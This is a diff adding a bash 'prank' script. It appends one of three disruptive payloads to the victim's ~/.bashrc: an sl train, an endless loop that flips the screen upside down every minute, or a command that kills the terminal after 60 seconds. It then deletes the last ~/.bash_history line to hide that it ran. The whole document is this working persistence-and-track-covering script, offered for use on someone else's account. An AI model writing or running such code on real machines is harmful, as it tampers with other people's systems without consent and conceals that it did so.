hmm

prank.sh

+#!/usr/bin/env bash
+
+case $[ $RANDOM % 3 ] in
+	0)
+# a long train
+cat << EOF
+sl -10 -a
+EOF
+	;;
+	1)
+# rotating the screen during 10s evry 60s
+	cat << EOF
+function rotate_infinitly() {
+	SCREEN=$(xrandr -q | sed -n "s/^\(.*\) connected .*$/\1/p" | head -n 1)
+	while true
+	do
+		sleep 60s
+		xrandr --output \$SCREEN --rotate inverted
+		sleep 10s
+		xrandr --output \$SCREEN --rotate normal
+	done
+}
+rotate_infinitly &
+EOF
+	;;
+	2)
+	# killing the currrent terminal after 60s
+cat << EOF
+function sleep_kill() {
+	sleep 60s
+	kill -9 \$$
+}
+sleep_kill &
+EOF
+	;;
+esac >> ~/.bashrc
+
+sleep 1s; sed -i '$ d' ~/.bash_history &
+